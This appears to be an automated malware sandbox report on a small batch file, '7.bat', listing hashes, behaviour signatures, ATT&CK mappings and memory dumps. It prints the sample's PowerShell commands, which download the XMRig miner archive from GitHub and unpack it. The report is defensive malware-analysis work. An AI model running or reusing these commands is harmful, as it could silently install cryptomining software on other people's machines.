c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

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General

Target

7.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

3 820 powershell.exe
4 820 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

820 powershell.exe
2656 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

820 powershell.exe
2656 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 820 powershell.exe
Token: SeDebugPrivilege 2656 powershell.exe

flow	pid	process
3	820	powershell.exe
4	820	powershell.exe

pid	process
820	powershell.exe
2656	powershell.exe

pid	process
820	powershell.exe
2656	powershell.exe

description	pid	process
Token: SeDebugPrivilege	820	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2108 wrote to memory of 820	2108	cmd.exe	powershell.exe
PID 2108 wrote to memory of 820	2108	cmd.exe	powershell.exe
PID 2108 wrote to memory of 820	2108	cmd.exe	powershell.exe
PID 2108 wrote to memory of 2656	2108	cmd.exe	powershell.exe
PID 2108 wrote to memory of 2656	2108	cmd.exe	powershell.exe
PID 2108 wrote to memory of 2656	2108	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\7.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2656

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EYW7L5U55CYR1C5420W5.temp
Filesize
7KB

MD5
163eb5511ee96cfeaa3c9b97ffdff7b3

SHA1
dcd668f7f0b87f4975a395742c66c1b3b3f36233

SHA256
c5093ce8ecbc97a109ebf4bdfad2649ff0fe3fe29aabca476f978c841b36afd4

SHA512
9b6f35400a3a4927ba13cd97783fa804efdbd7299a09139ca4d136b92e74c259a95732e246696beadadf02d90f19190d17b8033b7ea7f251f51889443884221c

Download Submit
memory/820-4-0x000007FEF60CE000-0x000007FEF60CF000-memory.dmp

Filesize
4KB

Download
memory/820-5-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/820-6-0x00000000021C0000-0x00000000021C8000-memory.dmp

Filesize
32KB

Download
memory/820-8-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/820-7-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/820-9-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/820-10-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/820-11-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/820-12-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2656-19-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2656-18-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download